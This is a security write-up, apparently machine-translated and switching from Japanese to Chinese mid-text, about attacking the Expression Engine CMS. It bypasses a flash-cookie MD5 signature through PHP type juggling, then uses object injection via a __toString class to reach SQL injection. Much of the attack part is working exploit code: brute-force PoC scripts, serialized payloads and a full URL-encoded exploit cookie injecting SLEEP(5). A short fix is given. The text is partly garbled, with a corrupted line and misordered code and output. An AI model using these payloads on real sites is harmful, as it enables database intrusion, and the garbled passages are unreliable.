セキュリティは、ウェブサイトを立ち上げるときに直面する最も重要な問題です。絶対的な安全はなく、絶え間ない攻撃と防御の対立があるだけです。ユーザーが送信したデータを信頼しないことが第一の目的です。この記事では、Web サイトのセキュリティについてより明確な概念を皆さんに提供することを目的として、弱い型とオブジェクト インジェクションを使用したセキュリティ侵入について説明します。
最近、ターゲットの脆弱性を探しているときに、CMS プラットフォームである Expression Engine を実行しているホストを見つけました。 この特定のアプリケーションに私が惹かれたのは、ユーザー名として「admin」を使用してアプリケーションにログインしようとすると、サーバーが PHP シリアル化データを含む Cookie で応答したからです。 前に述べたように、ユーザーが指定したデータを逆シリアル化すると、場合によってはコードが実行されるなど、予期しない結果が生じる可能性があります。 そこで、やみくもにテストするのではなく、慎重にチェックすることにしました。まず、この CMS のソース コードをダウンロードできるかどうかを確認し、そのコードを使用してデータのシリアル化のプロセスで何が起こったのかを調べてから、ローカル ビルドを開始することにしました。テスト用にコピーします。
この CMS のソース コードを入手した後、grep コマンドを使用して Cookie が使用されている場所を特定し、ファイル「./system/ee/legacy/libraries/Session.php」を見つけたところ、Cookie がユーザーセッションの維持に使用されるため、この発見は非常に意味があります。 Session.php を詳しく見てみると、シリアル化されたデータを逆シリアル化する次のメソッドが見つかりました:
protected function _prep_flashdata() { if ($cookie = ee()->input->cookie('flash')) { if (strlen($cookie) > 32) { $signature = substr($cookie, -32); $payload = substr($cookie, 0, -32); if (md5($payload.$this->sess_crypt_key) == $signature) { $this->flashdata = unserialize(stripslashes($payload)); $this->_age_flashdata(); return; } } } $this->flashdata = array(); }
コードを通して、Cookie が解析される前に一連のステップが実行されることがわかります。その後、コードの 1293 行目で逆シリアル化が行われます。そこで、最初に Cookie を見て、「unserialize()」を呼び出せるかどうかを確認しましょう:
a%3A2%3A%7Bs%3A13%3A%22%3Anew%3Ausername%22%3Bs%3A5%3A%22admin%22%3Bs%3A12%3A%22%3Anew%3Amessage%22%3Bs%3A38%3A%22That+is+the+wrong+username+or+password%22%3B%7D3f7d80e10a3d9c0a25c5f56199b067d4
デコードされた URL は次のとおりです:
a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4
Flash Cookie が存在する場合は、次のようにロードされます。 「$cookie」変数 (コード 1284 行目) を入力し、その行を続けます。 次に、Cookie データの長さが 32 より大きいかどうかを確認し (コード 1286 行目)、実行を続行します。 次に、以下に示すように、「substr()」を使用して Cookie データの最後の 32 文字を取得し、それを「$signature」変数に保存し、残りの Cookie データを「$payload」に保存します。
コードの 1291 行目で、「$payload.$this->sess_crypt_key」の md5 ハッシュを計算し、上記の「比較」で示したように、Cookie の最後に指定した「$signature」と比較します。 コードをざっと見てみると、「$this->sess_crypt_cookie」の値が、インストール中に作成されたファイル「./system/user/config/config.php」から渡されていることがわかりました。$ php -a Interactive mode enabled php > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4'; php > $signature = substr($cookie, -32); php > $payload = substr($cookie, 0, -32); php > print "Signature: $signature\n"; Signature: 3f7d80e10a3d9c0a25c5f56199b067d4 php > print "Payload: $payload\n"; Payload: prod_flash=a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:29:"Invalid username or password.";} php >それでは、これを手動で定義しましょう「$this->sess_crypt_key」を「$salt」として、md5 ハッシュ値を確認します:
./system/user/config/config.php:$config['encryption_key'] = '033bc11c2170b83b2ffaaff1323834ac40406b79';
md5 ハッシュ値が「$signature」と等しいことを確認します。 このチェックの理由は、「$payload」の値 (つまり、シリアル化されたデータ) が改ざんされていないことを確認するためです。 したがって、このチェックはそのような改ざんを防ぐのに十分ですが、PHP は型付けが弱い言語であるため、比較を実行するときにいくつかの落とし穴があります。
php > $salt = '033bc11c2170b83b2ffaaff1323834ac40406b79'; php > print md5($payload.$salt); 3f7d80e10a3d9c0a25c5f56199b067d4 php >Output:
<?php $a = 1; $b = 1; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?>
$ php steps.php int(1) int(1) a and b are the sameOutput:
<?php $a = 1; $b = 0; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?>
$ php steps.php int(1) int(0) a and b are NOT the sameOutput :
rrリーリー
出力:<?php $a = "these are the same"; $b = "these are the same"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?>
PHPは比較演算に「役立つ」ようで、比較中に文字列を整数に変換します。最後に、科学的表記法で書かれた整数のように見える 2 つの文字列を比較すると何が起こるかを見てみましょう:
$ php steps.php string(18) "these are the same" string(18) "these are the same" a and b are the sameOutput:
<?php $a = "these are NOT the same"; $b = "these are the same"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?>
上記の結果からわかるように、変数 "$ a" と変数 "$b" は両方とも文字列型であり、明らかに異なる値を持っています。緩和された比較演算子を使用すると、"0ex" は PHP で変換されるため、比較は true と評価されます。整数の場合は常に 0 になります。 。 これをタイプジャグリングと呼びます。
$ php steps.php string(22) "these are NOT the same" string(18) "these are the same" a and b are NOT the same
ここで、「$ payload "と"の値を制御できます」 $signature" なので、"$this->sess_crypt_key" の md5 値が 0e で始まりすべての数字で終わる文字列であるようなペイロードを見つけることができた場合、または "$signature" "MD5 ハッシュ値を0e で始まりすべての数字で終わる値の場合、このチェックを正常に回避できます。
<?php $a = "0e111111111111111111111111111111"; $b = "0e222222222222222222222222222222"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?>
新しい "$payload" 変数では、"ユーザー名またはパスワードが間違っています" と表示されますが、表示したいのは "taquito" です。
序列化数组的第一个元素“[:new:username] => admin”似乎是一个可以创建一个随机值的好地方,所以这就是我们的爆破点。
注意:这个PoC是在我本地离线工作,因为我有权访问我自己的实例“$ this-> sess_crypt_key”,如果我们不知道这个值,那么我们就只能在线进行爆破了。
<?php set_time_limit(0); define('HASH_ALGO', 'md5'); define('PASSWORD_MAX_LENGTH', 8); $charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $str_length = strlen($charset); function check($garbage) { $length = strlen($garbage); $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79"; $payload = 'a:2:{s:13:":new:username";s:'.$length.':"'.$garbage.'";s:12:":new:message";s:7:"taquito";}'; #echo "Testing: " . $payload . "\n"; $hash = md5($payload.$salt); $pre = "0e"; if (substr($hash, 0, 2) === $pre) { if (is_numeric($hash)) { echo "$payload - $hash\n"; } } } function recurse($width, $position, $base_string) { global $charset, $str_length; for ($i = 0; $i < $str_length; ++$i) { if ($position < $width - 1) { recurse($width, $position + 1, $base_string . $charset[$i]); } check($base_string . $charset[$i]); } } for ($i = 1; $i < PASSWORD_MAX_LENGTH + 1; ++$i) { echo "Checking passwords with length: $i\n"; recurse($i, 0, ''); } ?>
当运行上面的代码后,我们得到了一个修改过的“$ payload”的 md5哈希值并且我们的 “$ this-> sess_crypt_key”的实例是以0e开头,并以数字结尾:
$ php poc1.php Checking passwords with length: 1 Checking passwords with length: 2 Checking passwords with length: 3 Checking passwords with length: 4 Checking passwords with length: 5 a:2:{s:13:":new:username";s:5:"dLc5d";s:12:":new:message";s:7:"taquito";} - 0e553592359278167729317779925758
让我们将这个散列值与任何“$ signature”的值(我们所能够提供的)进行比较,该值也以0e开头并以所有数字结尾:
<?php $a = "0e553592359278167729317779925758"; $b = "0e222222222222222222222222222222"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?>
Output:
$ php steps.php string(32) "0e553592359278167729317779925758" string(32) "0e222222222222222222222222222222" a and b are the same
正如你所看到的,我们已经通过(滥用)Type Juggling成功地修改了原始的“$ payload”以包含我们的新消息“taquito”。
当PHP对象注入与弱类型相遇会得到什么呢?SQLi么?
虽然能够在浏览器中修改显示的消息非常有趣,不过让我们来看看当我们把我们自己的任意数据传递到“unserialize()”后还可以做点什么。 为了节省自己的一些时间,让我们修改一下代码:
if(md5($ payload。$ this-> sess_crypt_key)== $ signature)
修改为:if (1)
上述代码在“./system/ee/legacy/libraries/Session.php”文件中,修改之后,可以在执行“unserialize()”时,我们不必提供有效的签名。
现在,已知的是我们可以控制序列化数组里面“[:new:username] => admin”的值,我们继续看看“./system/ee/legacy/libraries/Session.php”的代码,并注意以下方法:
function check_password_lockout($username = '') { if (ee()->config->item('password_lockout') == 'n' OR ee()->config->item('password_lockout_interval') == '') { return FALSE; } $interval = ee()->config->item('password_lockout_interval') * 60; $lockout = ee()->db->select("COUNT(*) as count") ->where('login_date > ', time() - $interval) ->where('ip_address', ee()->input->ip_address()) ->where('username', $username) ->get('password_lockout'); return ($lockout->row('count') >= 4) ? TRUE : FALSE; }
这个方法没毛病,因为它在数据库中检查了提供的“$ username”是否被锁定为预认证。 因为我们可以控制“$ username”的值,所以我们应该能够在这里注入我们自己的SQL查询语句,从而导致一种SQL注入的形式。这个CMS使用了数据库驱动程序类来与数据库进行交互,但原始的查询语句看起来像这样(我们可以猜的相当接近):
SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > '$interval' AND `ip_address` = '$ip_address' AND `username` = '$username';
修改“$payload”为:
a:2:{s:13:":new:username";s:1:"'";s:12:":new:message";s:7:"taquito";}
并将其发送到页面出现了如下错误信息,但由于某些原因,我们什么也没有得到……
“Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line”
不是我想要的类型…
经过一番搜索后,我在“./system/ee/legacy/database/DB_driver.php”中看到了以下代码:
function escape($str) { if (is_string($str)) { $str = "'".$this->escape_str($str)."'"; } elseif (is_bool($str)) { $str = ($str === FALSE) ? 0 : 1; } elseif (is_null($str)) { $str = 'NULL'; } return $str; }
在第527行,我们看到程序对我们提供的值执行了“is_string()”检查,如果它返回了true,我们的值就会被转义。 我们可以通过在函数的开头和结尾放置“var_dump”并检查输出来确认这里到底发生了什么:
前:
string(1) "y" int(1) int(1) int(1) int(0) int(1) int(3) int(0) int(1) int(1486399967) string(11) "192.168.1.5" string(1) "'" int(1)
后:
string(3) "'y'" int(1) int(1) int(1) int(0) int(1) int(3) int(0) int(1) int(1486400275) string(13) "'192.168.1.5'" string(4) "'\''" int(1)
果然,我们可以看到我们的“'”的值已经被转义,现在是“\'”。 幸运的是,对我们来说,我们还有办法。
转义检查只是检查看看“$ str”是一个字符串还是一个布尔值或是null; 如果它匹配不了任何这几个类型,“$ str”将返回非转义的值。 这意味着如果我们提供一个“对象”,那么我们应该能够绕过这个检查。 但是,这也意味着接下来我们需要搜索一个我们可以使用的对象。
自动加载给了我希望!
通常,当我们寻找可以利用unserialize的类时,我们通常使用魔术方法(如“__wakeup”或“__destruct”)来寻找类,但是有时候应用程序实际上会使用自动加载器。 自动加载背后的一般想法是,当一个对象被创建后,PHP就会检查它是否知道该类的任何东西,如果不是,它就会自动加载这个对象。 对我们来说,这意味着我们不必依赖包含“__wakeup”或“__destruct”方法的类。 我们只需要找到一个调用我们控制的“__toString”的类,因为应用程序会尝试将 “$ username”变量作为字符串使用。
寻找如这个文件中所包含的类:
“./system/ee/EllisLab/ExpressionEngine/Library/Parser/Conditional/Token/Variable.php”:
<?php namespace EllisLab\ExpressionEngine\Library\Parser\Conditional\Token; class Variable extends Token { protected $has_value = FALSE; public function __construct($lexeme) { parent::__construct('VARIABLE', $lexeme); } public function canEvaluate() { return $this->has_value; } public function setValue($value) { if (is_string($value)) { $value = str_replace( array('{', '}'), array('{', '}'), $value ); } $this->value = $value; $this->has_value = TRUE; } public function value() { // in this case the parent assumption is wrong // our value is definitely *not* the template string if ( ! $this->has_value) { return NULL; } return $this->value; } public function __toString() { if ($this->has_value) { return var_export($this->value, TRUE); } return $this->lexeme; } } // EOF
这个类看起来非常完美! 我们可以看到对象使用参数“$lexeme”调用了方法“__construct”,然后调用“__toString”,将参数“$ lexeme”作为字符串返回。 这正是我们正在寻找的类。 让我们组合起来快速为我们创建序列化对象对应的POC:
<?php namespace EllisLab\ExpressionEngine\Library\Parser\Conditional\Token; class Variable { public $lexeme = FALSE; } $x = new Variable(); $x->lexeme = "'"; echo serialize($x)."\n"; ?> Output: $ php poc.php O:67:"EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable":1:{s:6:"lexeme";s:1:"'";}
经过几个小时的试验和错误尝试,最终得出一个结论:转义在搞鬼。 当我们将我们的对象添加到我们的数组中后,我们需要修改上面的对象(注意额外的斜线):
a:1:{s:13:":new:username";O:67:"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\Variable":1:{s:6:"lexeme";s:1:"'";}}
我们在代码之前插入用于调试的“var_dump”,然后发送上面的payload,显示的信息如下:
string(3) "'y'" int(1) int(1) int(1) int(0) int(1) int(3) int(0) int(1) int(1486407246) string(13) "'192.168.1.5'" object(EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable)#177 (6) { ["has_value":protected]=> bool(false) ["type"]=> NULL ["lexeme"]=> string(1) "'" ["context"]=> NULL ["lineno"]=> NULL ["value":protected]=> NULL }
注意,现在我们有了一个“对象”而不是一个“字符串”,“lexeme”的值是我们的非转义“'”的值!可以在页面中更进一步来确认:
<h1>Exception Caught</h1> <h2>SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 5: SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > 1486407246 AND `ip_address` = '192.168.1.5' AND `username` = '</h2> mysqli_connection.php:122
Awww! 我们已经成功地通过PHP对象注入实现了SQL注入,从而将我们自己的数据注入到了SQL查询语句中!
PoC!
最后,我创建了一个PoC来将Sleep(5)注入到数据库。 最让我头疼的就是应用程序中计算“md5()”时的反斜杠的数量与成功执行“unserialize()”需要的斜杠数量, 不过,一旦发现解决办法,就可以导致以下结果:
<?php set_time_limit(0); define('HASH_ALGO', 'md5'); define('garbage_MAX_LENGTH', 8); $charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $str_length = strlen($charset); function check($garbage) { $length = strlen($garbage) + 26; $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79"; $payload = 'a:1:{s:+13:":new:username";O:67:"EllisLab\\\ExpressionEngine\\\Library\\\Parser\\\Conditional\\\Token\\\Variable":1:{s:+6:"lexeme";s:+'.$length.':"1 UNION SELECT SLEEP(5) # '.$garbage.'";}}'; #echo "Testing: " . $payload . "\n"; $hash = md5($payload.$salt); $pre = "0e"; if (substr($hash, 0, 2) === $pre) { if (is_numeric($hash)) { echo "$payload - $hash\n"; } } } function recurse($width, $position, $base_string) { global $charset, $str_length; for ($i = 0; $i < $str_length; ++$i) { if ($position < $width - 1) { recurse($width, $position + 1, $base_string . $charset[$i]); } check($base_string . $charset[$i]); } } for ($i = 1; $i < garbage_MAX_LENGTH + 1; ++$i) { echo "Checking garbages with length: $i\n"; recurse($i, 0, ''); } ?>
Output:
$ php poc2.php a:1:{s:+13:":new:username";O:67:"EllisLab\\ExpressionEngine\\Library\\Parser\\Conditional\\Token\\Variable":1:{s:+6:"lexeme";s:+31:"1 UNION SELECT SLEEP(5) # v40vP";}} - 0e223968250284091802226333601821
以及我们发送到服务器的payload(再次注意那些额外的斜杠):
Cookie: exp_flash=a%3a1%3a{s%3a%2b13%3a"%3anew%3ausername"%3bO%3a67%3a"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\\Variable"%3a1%3a{s%3a%2b6%3a"lexeme"%3bs%3a%2b31%3a"1+UNION+SELECT+SLEEP(5)+%23+v40vP"%3b}}0e223968250284091802226333601821
五秒后我们就得到了服务器的响应。
修复方案!
这种类型的漏洞修复真的可以归结为一个“=”,将:if (md5($payload.$this->sess_crypt_key) == $signature)替换为:if (md5($payload.$this->sess_crypt_key) === $signature)
除此之外,不要“unserialize()”用户提供的数据!
相关推荐:
以上が弱い型とオブジェクト インジェクションを使用したセキュリティ侵入が共有されるの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。